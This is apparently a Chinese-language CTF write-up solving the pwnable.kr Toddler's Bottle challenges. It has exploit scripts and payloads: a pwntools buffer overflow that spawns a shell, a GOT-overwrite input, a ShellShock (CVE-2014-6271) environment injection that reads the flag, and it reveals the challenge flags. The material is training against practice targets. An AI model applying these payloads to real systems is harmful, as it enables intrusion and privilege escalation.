Pwnable.kr Toddler's Bottle 练习记录。
fd 查看程序源码,需要使 buf
为 "LETMEWIN" 字符串才可以得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32 ];int main (int argc, char * argv[], char * envp[]) { if (argc<2 ){ printf ("pass argv[1] a number\n" ); return 0 ; } int fd = atoi( argv[1 ] ) - 0x1234 ; int len = 0 ; len = read(fd, buf, 32 ); if (!strcmp ("LETMEWIN\n" , buf)){ printf ("good job :)\n" ); system("/bin/cat flag" ); exit (0 ); } printf ("learn about Linux file IO\n" ); return 0 ; }
在 Linux 系统中,文件描述符使用 int
类型进行表示,其中有三个系统默认值。
0 - stdin - 标准输入流
1 - stdout - 标准输出流
2 - stderr - 标准错误流
当程序中 fd
的值为 0 时,表示 read()
函数将从 stdin 流中读取 32 字节数据到 buf
数组中,此时可以控制 buf
为 "LETMEWIN" 字符串,得到 flag 信息。
1 2 3 4 fd@pwnable:~$ ./fd 4660 LETMEWIN good job :) mommy! I think I know what a file descriptor is!!
collision 查看程序源码,当输入的字符相加为 0x21DD09EC 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC ;unsigned long check_password (const char * p) { int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; } int main (int argc, char * argv[]) { if (argc<2 ){ printf ("usage : %s [passcode]\n" , argv[0 ]); return 0 ; } if (strlen (argv[1 ]) != 20 ){ printf ("passcode length should be 20 bytes\n" ); return 0 ; } if (hashcode == check_password( argv[1 ] )){ system("/bin/cat flag" ); return 0 ; } else printf ("wrong passcode.\n" ); return 0 ; }
由 0x21DD09EC 为 568134124 可知,当 0x21DD09EC + 0x1 = 0x21DD09ED 时,能够被 5 除尽,所以可以得到 0x6C5CEC9、0x6C5CEC9、0x6C5CEC9、0x6C5CEC9 和 0x6C5CEC8 等 5 个用于相加的数值。
构造用于输入的字符串,读取 flag 信息。
1 2 col@pwnable:~$ ./col `python -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'` daddy! I just managed to create a hash collision :)
bof 查看程序源码,当 key
为 0xcafebabe 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> void func (int key) { char overflowme[32 ]; printf ("overflow me : " ); gets(overflowme); if (key == 0xcafebabe ){ system("/bin/sh" ); } else { printf ("Nah..\n" ); } } int main (int argc, char * argv[]) { func(0xdeadbeef ); return 0 ; }
通过 gets()
函数获取输入时,并不会对输入数据的长度进行检查,因此输入长度超过 32 字节便会溢出 overflowme
数组的内存空间。
查看 func
函数的栈布局。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -0000002C overflowme db 32 dup(?) -0000000C var_C dd ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 key dd ? +0000000C +0000000C ; end of stack variables
其中 overflowme
距离 key
偏移为 0x34 字节,当填充 56 字节的数据时,便可以覆盖 key
的值。
编写利用脚本。
1 2 3 4 5 6 7 8 9 10 from pwn import *payload = b'A' * 0x34 payload += b'\xbe\xba\xfe\xca' target = remote('pwnable.kr' , 9000 ) target.sendline(payload) target.interactive()
运行脚本,得到 flag 信息。
flag 下载程序,检测文件经过 UPX 压缩。
使用 UPX 进行解压处理。
1 2 3 4 5 6 7 8 9 10 > upx.exe -d ..\flag Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- 887219 <- 335288 37.79% linux/amd64 flag Unpacked 1 file.
再次检测文件,确定解压完成。
使用 IDA 进行代码分析,查看 main()
函数。
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { char *dest; puts ("I will malloc() and strcpy the flag there. take it." , argv, envp); dest = (char *)malloc (100LL ); strcpy (dest, flag); return 0 ; }
直接查看硬编码的 flag 信息。
1 2 3 4 5 6 7 .data:00000000006C2070 28 66 49 00 00 00 00 00 flag dq offset aUpxSoundsLikeA .data:00000000006C2070 ; DATA XREF: main+20↑r .... .rodata:0000000000496628 55 50 58 2E 2E 2E 3F 20 73 6F+aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0 .rodata:0000000000496628 75 6E 64 73 20 6C 69 6B 65 20+ ; DATA XREF: .data:flag↓o
passcode 查看程序源码,当 passcode1
为 338150 和 passcode2
为 13371337 时得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==338150 && passcode2==13371337 ){ printf ("Login OK!\n" ); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } } void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); } int main () { printf ("Toddler's Secure Login System 1.0 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
在 login()
函数中,可以看到 passcode1
和 passcode2
通过 scanf()
函数接收输入时,缺少 &
符号,这将导致实际存储数据的内存地址由两个变量的数值决定。
经过调试分析发现 welcome()
函数中 name
数组的最后 4 个字节,恰好与 passcode1
重叠,因此可以通过 name
数组来控制 passcode1
的值,实现任意地址写入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 // edx = 0xffffd0e8 -> name array address *EDX 0xffffd0e8 —▸ 0xf7e2ada0 (_IO_2_1_stdout_) ◂— 0xfbad2a84 0x804862a <welcome+33> mov eax, 0x80487dd 0x804862f <welcome+38> lea edx, [ebp - 0x70] ► 0x8048632 <welcome+41> mov dword ptr [esp + 4], edx 0x8048636 <welcome+45> mov dword ptr [esp], eax 0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt> // ebp - 0x10 = 0xffffd148 -> passcode1 address EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0 0x8048577 <login+19> mov eax, 0x8048783 0x804857c <login+24> mov edx, dword ptr [ebp - 0x10] ► 0x804857f <login+27> mov dword ptr [esp + 4], edx 0x8048583 <login+31> mov dword ptr [esp], eax 0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt> // ebp - 0xc = 0xffffd14c -> passcode2 address EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0 0x80485a5 <login+65> mov eax, 0x8048783 0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc] ► 0x80485ad <login+73> mov dword ptr [esp + 4], edx 0x80485b1 <login+77> mov dword ptr [esp], eax 0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>
借助任意地址写入功能,可以通过改写 GOT 表中的函数地址来实现跳转到任意地址执行,从而绕过校验代码,得到 flag 信息。
查看 .got.plt
中的函数列表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 passcode@pwnable:~$ readelf -r passcode Relocation section '.rel.dyn' at offset 0x388 contains 2 entries: Offset Info Type Sym.Value Sym. Name 08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__ 0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0 Relocation section '.rel.plt' at offset 0x398 contains 9 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
由于 fflush()
函数会刷新输入缓冲区,所以选择覆盖 GOT 表中 fflush()
函数的地址。
通过 fflush()
函数直接跳转到校验成功分支。
1 2 3 4 5 6 7 .text:080485D5 jnz short loc_80485F1 .text:080485D7 mov dword ptr [esp], offset aLoginOk ; "Login OK!" .text:080485DE call _puts .text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag" .text:080485EA call _system .text:080485EF leave .text:080485F0 retn
借助 Python 进行程序传参,得到 flag 信息。
1 2 3 4 5 passcode@pwnable:~$ python -c 'print "a" * 96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :)
random 查看程序源码可知,当输入数据与随机数异或等于 0xdeadbeef 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> int main () { unsigned int random; random = rand(); unsigned int key=0 ; scanf ("%d" , &key); if ( (key ^ random) == 0xdeadbeef ){ printf ("Good!\n" ); system("/bin/cat flag" ); return 0 ; } printf ("Wrong, maybe you should try 2^32 cases.\n" ); return 0 ; }
由于程序在调用 rand()
函数之前,并未调用 srand()
函数初始化随机数种子,因此系统会以默认的 1 为种子生成随机数,这将导致每次运行程序生成的随机数相同。
本地调试程序,得到生成的随机数 0x6b8b4567。
1 2 3 4 5 6 7 8 9 *RAX 0x6b8b4567 0x4005f4 <main> push rbp 0x4005f5 <main+1> mov rbp, rsp 0x4005f8 <main+4> sub rsp, 0x10 0x4005fc <main+8> mov eax, 0 0x400601 <main+13> call rand@plt <rand@plt> ► 0x400606 <main+18> mov dword ptr [rbp - 4], eax
异或计算得到正确的 key 值为 0xb526fb88,即十进制 3039230856。
运行程序,得到 flag 信息。
1 2 3 4 random@pwnable:~$ ./random 3039230856 Good! Mommy, I thought libc random is unpredictable...
查看程序源码,需要满足五个条件才能得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main (int argc, char * argv[], char * envp[]) { printf ("Welcome to pwnable.kr\n" ); printf ("Let's see if you know how to give input to program\n" ); printf ("Just give me correct inputs then you will get the flag :)\n" ); if (argc != 100 ) return 0 ; if (strcmp (argv['A' ],"\x00" )) return 0 ; if (strcmp (argv['B' ],"\x20\x0a\x0d" )) return 0 ; printf ("Stage 1 clear!\n" ); char buf[4 ]; read(0 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x00\xff" , 4 )) return 0 ; read(2 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x02\xff" , 4 )) return 0 ; printf ("Stage 2 clear!\n" ); if (strcmp ("\xca\xfe\xba\xbe" , getenv("\xde\xad\xbe\xef" ))) return 0 ; printf ("Stage 3 clear!\n" ); FILE* fp = fopen("\x0a" , "r" ); if (!fp) return 0 ; if ( fread(buf, 4 , 1 , fp)!=1 ) return 0 ; if ( memcmp (buf, "\x00\x00\x00\x00" , 4 ) ) return 0 ; fclose(fp); printf ("Stage 4 clear!\n" ); int sd, cd; struct sockaddr_in saddr , caddr ; sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd == -1 ){ printf ("socket error, tell admin\n" ); return 0 ; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C' ]) ); if (bind(sd, (struct sockaddr*)&saddr, sizeof (saddr)) < 0 ){ printf ("bind error, use another port\n" ); return 1 ; } listen(sd, 1 ); int c = sizeof (struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t *)&c); if (cd < 0 ){ printf ("accept error, tell admin\n" ); return 0 ; } if ( recv(cd, buf, 4 , 0 ) != 4 ) return 0 ; if (memcmp (buf, "\xde\xad\xbe\xef" , 4 )) return 0 ; printf ("Stage 5 clear!\n" ); system("/bin/cat flag" ); return 0 ; }
第一个条件,通过 Shell 传递 100 个参数,且第 A (65) 个参数为 \x00
,第 B (66) 个参数为 \x20\x0a\x0d
。
1 2 3 4 5 if (argc != 100 ) return 0 ;if (strcmp (argv['A' ],"\x00" )) return 0 ;if (strcmp (argv['B' ],"\x20\x0a\x0d" )) return 0 ;printf ("Stage 1 clear!\n" );
第二个条件,向 stdio 中写入 \x00\x0a\x00\xff
,向 stderr 中写入 \x00\x0a\x02\xff
。
1 2 3 4 5 6 7 char buf[4 ];read(0 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x00\xff" , 4 )) return 0 ;read(2 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x02\xff" , 4 )) return 0 ; printf ("Stage 2 clear!\n" );
第三个条件,新增 \xde\xad\xbe\xef
环境变量,设置值为 \xca\xfe\xba\xbe
。
1 2 3 if (strcmp ("\xca\xfe\xba\xbe" , getenv("\xde\xad\xbe\xef" ))) return 0 ;printf ("Stage 3 clear!\n" );
第四个条件,新建 \x0a
文件,内容为 \x00\x00\x00\x00
。
1 2 3 4 5 6 7 FILE* fp = fopen("\x0a" , "r" ); if (!fp) return 0 ;if ( fread(buf, 4 , 1 , fp)!=1 ) return 0 ;if ( memcmp (buf, "\x00\x00\x00\x00" , 4 ) ) return 0 ;fclose(fp); printf ("Stage 4 clear!\n" );
第五个条件,通过 Shell 第 C (67) 个参数指定监听端口,建立连接发送 \xde\xad\xbe\xef
数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int sd, cd;struct sockaddr_in saddr , caddr ;sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd == -1 ){ printf ("socket error, tell admin\n" ); return 0 ; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C' ]) ); if (bind(sd, (struct sockaddr*)&saddr, sizeof (saddr)) < 0 ){ printf ("bind error, use another port\n" ); return 1 ; } listen(sd, 1 ); int c = sizeof (struct sockaddr_in);cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t *)&c); if (cd < 0 ){ printf ("accept error, tell admin\n" ); return 0 ; } if ( recv(cd, buf, 4 , 0 ) != 4 ) return 0 ;if (memcmp (buf, "\xde\xad\xbe\xef" , 4 )) return 0 ;printf ("Stage 5 clear!\n" );
根据校验条件,编写利用脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import osimport timeimport socketimport subprocessport = 10000 if __name__ == "__main__" : args = list ("A" * 100 ) args[0 ] = "/home/input2/input" args[ord ('A' )] = "" args[ord ('B' )] = "\x20\x0a\x0d" args[ord ('C' )] = str (port) stdinr, stdinw = os.pipe() stderrr, stderrw = os.pipe() os.write(stdinw, b"\x00\x0a\x00\xff" ) os.write(stderrw, b"\x00\x0a\x02\xff" ) environ = {b"\xde\xad\xbe\xef" : b"\xca\xfe\xba\xbe" } f = open ("\x0a" , "w+" ) f.write("\x00\x00\x00\x00" ) f.close() target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ) time.sleep(2 ) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.connect(("127.0.0.1" , port)) server.send(b"\xde\xad\xbe\xef" ) server.close()
将脚本上传到服务器 /tmp
下新建的目录中,并通过软链接引用 flag 文件。
1 ln -s /home/input2/flag ./flag
运行脚本,获取 flag 信息。
1 2 3 4 5 6 7 8 9 10 input2@pwnable:/tmp/temp1001$ python3 getflag.py Welcome to pwnable.kr Let's see if you know how to give input to program Just give me correct inputs then you will get the flag :) Stage 1 clear! Stage 2 clear! Stage 3 clear! Stage 4 clear! Stage 5 clear! Mommy! I learned how to pass various input in Linux :)
leg 查看程序源码,需要计算出三个正确的 key 值才能得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <fcntl.h> int key1 () { asm ("mov r3, pc\n" ); } int key2 () { asm ( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); } int key3 () { asm ("mov r3, lr\n" ); } int main () { int key=0 ; printf ("Daddy has very strong arm! : " ); scanf ("%d" , &key); if ( (key1()+key2()+key3()) == key ){ printf ("Congratz!\n" ); int fd = open("flag" , O_RDONLY); char buf[100 ]; int r = read(fd, buf, 100 ); write(0 , buf, r); } else { printf ("I have strong leg :P\n" ); } return 0 ; }
通过动态调试,分析三个 key 函数的返回值。
查看 key1()
函数的汇编代码。
1 2 3 4 5 6 7 8 9 10 (gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.
根据 Arm 架构的三级流水线特性,当 0x00008cdc 处的指令执行时,寄存器 pc
中的值为 0x00008ce4,所以 key1()
函数的返回值为 0x00008ce4。
查看 key2()
函数的汇编代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump.
根据 Arm 架构的状态变换特性,当 0x00008d04 处指令执行时,寄存器 pc
的值为 0x00008d04,因此 key2()
函数的返回值为 0x00008d0c。
查看 main()
和 key3()
函数的汇编代码。
1 2 3 4 5 6 7 8 9 (gdb) disass main Dump of assembler code for function main: .... 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 0x00008d84 <+72>: add r2, r4, r3 0x00008d88 <+76>: ldr r3, [r11, #-16] .... End of assembler dump.
1 2 3 4 5 6 7 8 9 10 (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.
根据 Arm 架构的函数调用特性,寄存器 lr
保存着 key3()
函数的返回地址,因此 key3()
函数的返回值为 0x00008d80。
通过三个返回值相加,计算出 key 值为 0x0001A770,得到 flag 信息。
1 2 3 4 / $ ./leg Daddy has very strong arm! : 108400 Congratz! My daddy has a lot of ARMv5te muscle!
mistake 查看程序源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor (char * s, int len) { int i; for (i=0 ; i<len; i++){ s[i] ^= XORKEY; } } int main (int argc, char * argv[]) { int fd; if (fd=open("/home/mistake/password" ,O_RDONLY,0400 ) < 0 ){ printf ("can't open password %d\n" , fd); return 0 ; } printf ("do not bruteforce...\n" ); sleep(time(0 )%20 ); char pw_buf[PW_LEN+1 ]; int len; if (!(len=read(fd,pw_buf,PW_LEN) > 0 )){ printf ("read error\n" ); close(fd); return 0 ; } char pw_buf2[PW_LEN+1 ]; printf ("input password : " ); scanf ("%10s" , pw_buf2); xor(pw_buf2, 10 ); if (!strncmp (pw_buf, pw_buf2, PW_LEN)){ printf ("Password OK\n" ); system("/bin/cat flag\n" ); } else { printf ("Wrong Password\n" ); } close(fd); return 0 ; }
由于在 C 语言中,运算符 =
低于运算符 <
的优先级,所以导致 fd
保存的是 open("/home/mistake/password",O_RDONLY,0400) < 0
的比较结果,而不是 /home/mistake/password
的文件指针。
因此 read()
函数实际是从 stdin
中读取数据。这将使得 pw_buf
和 pw_buf2
的内容均可控,从而可以通过校验,得到 flag 信息。
1 2 3 4 5 6 mistake@pwnable:~$ ./mistake do not bruteforce... BBBBBBBBBB input password : CCCCCCCCCC Password OK Mommy, the operator priority always confuses me :(
shellshock 查看程序源码,发现题目目录存在 Bash 程序。
1 2 3 4 5 6 7 #include <stdio.h> int main () { setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'" ); return 0 ; }
查看目录文件,由于 flag 与 bash 的权限不同,所以无法直接读取文件内容。
1 2 3 4 5 6 shellshock@pwnable:~$ ls -l total 960 -r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash -r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag -r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock -r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
根据题目名称,猜测与 ShellShock 漏洞(CVE-2014-6271)有关。
Shellshock是GNU Bourne Again Shell(BASH)中的一个漏洞,攻击者可以使用特制环境变量来运行任意命令。
查看题目目录下 Bash 程序的版本。
1 2 3 4 5 6 7 shellshock@pwnable:~$ ./bash --version GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu) Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
测试 ShellShock 漏洞确实存在。
1 2 3 shellshock@pwnable:~$ env x='() { :;}; echo test' ./bash -c "echo this is a test" test this is a test
利用 ShellShock 漏洞读取 flag 信息。
1 2 3 shellshock@pwnable:~$ env x='() { :;}; /bin/cat flag' ./shellshock only if I knew CVE-2014-6271 ten years ago..!! Segmentation fault (core dumped)
coin1 根据题目要求,需要在有限时间内,找出所给硬币中的假币,可以采用二分法进行计算。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *target = remote("0.0.0.0" , 9007 ) print target.recvuntil("Ready? starting in 3 sec... -\n\t\n" )for j in range (0 , 100 ): data = target.recvline() print data strlist = data.split(' ' ) nums = int (strlist[0 ][2 :]) counts = int (strlist[1 ][2 :]) num_start = 0 while (counts > 0 ): if (nums == 1 ): counts -= 1 target.sendline(str (num_start)) target.recvline() continue if (data == 9 ): num_start = int (answer) counts -= 1 target.sendline(answer) target.recvline() continue num_end = num_start + nums / 2 weight = nums / 2 * 10 answer = '' for i in range (num_start, num_end): answer += str (i) answer += ' ' counts -= 1 target.sendline(answer) data = int (target.recvline()) if (data < weight): nums = nums / 2 else : nums = nums - nums / 2 num_start = num_end target.sendline(str (num_start)) print target.recvline() print target.recvline()print 'flag = ' + target.recvline()target.close()
因为网络问题,远程运行脚本时,会经常断开连接,所以将脚本上传到题目服务器,在服务器本地运行脚本。
经过几次运算,可以得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ python get_flag.py [+] Opening connection to 0.0.0.0 on port 9007: Done .... N=266 C=9 Correct! (99) Congrats! get your flag flag = b1NaRy_S34rch1nG_1s_3asy_p3asy [*] Closed connection to 0.0.0.0 port 9007